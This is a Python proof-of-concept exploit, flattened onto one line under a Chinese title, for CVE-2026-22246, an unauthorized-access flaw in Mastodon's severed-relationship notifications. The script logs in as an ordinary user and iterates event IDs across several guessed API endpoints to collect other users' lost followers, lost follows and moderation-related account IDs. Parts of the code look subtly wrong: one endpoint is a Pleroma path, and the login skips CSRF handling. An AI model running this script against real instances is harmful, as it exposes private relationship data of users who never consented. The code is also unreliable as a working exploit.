CVE-2026-22246 Mastodon断绝关系通知功能未授权访问漏洞

# CVE-2026-22246 PoC - Mastodon Unauthorized Access to Severed Relationships import requests import json from urllib.parse import urljoin def exploit_mastodon_severed_relationships(base_url, username, password): """ Exploit CVE-2026-22246: Unauthorized access to severed relationship notifications This PoC demonstrates how any authenticated local user can access severed relationship lists belonging to other users by iterating through event IDs. """ session = requests.Session() # Step 1: Authenticate as a regular local user login_url = urljoin(base_url, '/auth/sign_in') login_data = { 'user[email]': username, 'user[password]': password } response = session.post(login_url, data=login_data) if response.status_code != 200: print(f"[-] Authentication failed") return None print("[+] Successfully authenticated") # Step 2: Access severed relationships API endpoint # The vulnerable endpoint allows access to any user's severed events severed_api_endpoints = [ '/api/v1/pleroma/follow_requests', '/api/v1/notifications/severed_relationships', '/api/v1/accounts/relationships/severed' ] leaked_data = [] for endpoint in severed_api_endpoints: api_url = urljoin(base_url, endpoint) # Step 3: Iterate through event IDs to access other users' data for event_id in range(1, 1000): params = {'event_id': event_id} response = session.get(api_url, params=params) if response.status_code == 200: data = response.json() if data and len(data) > 0: print(f"[+] Found severed relationships for event {event_id}") print(f" Data: {json.dumps(data, indent=2)}") leaked_data.append({ 'event_id': event_id, 'endpoint': endpoint, 'data': data }) # Step 4: Compile and analyze the leaked information print(f"\n[+] Total leaked records: {len(leaked_data)}") print("[+] Leaked information includes:") print(" - Lost followers (accounts that unfollowed)") print(" - Lost following (accounts that were unfollowed)") print(" - Account IDs involved in moderation actions") return leaked_data # Usage example if __name__ == '__main__': target = 'https://vulnerable-mastodon-instance.com' credentials = ('[email protected]', 'password123') results = exploit_mastodon_severed_relationships(target, *credentials) if results: print(f"\n[!] Vulnerability confirmed - {len(results)} records leaked")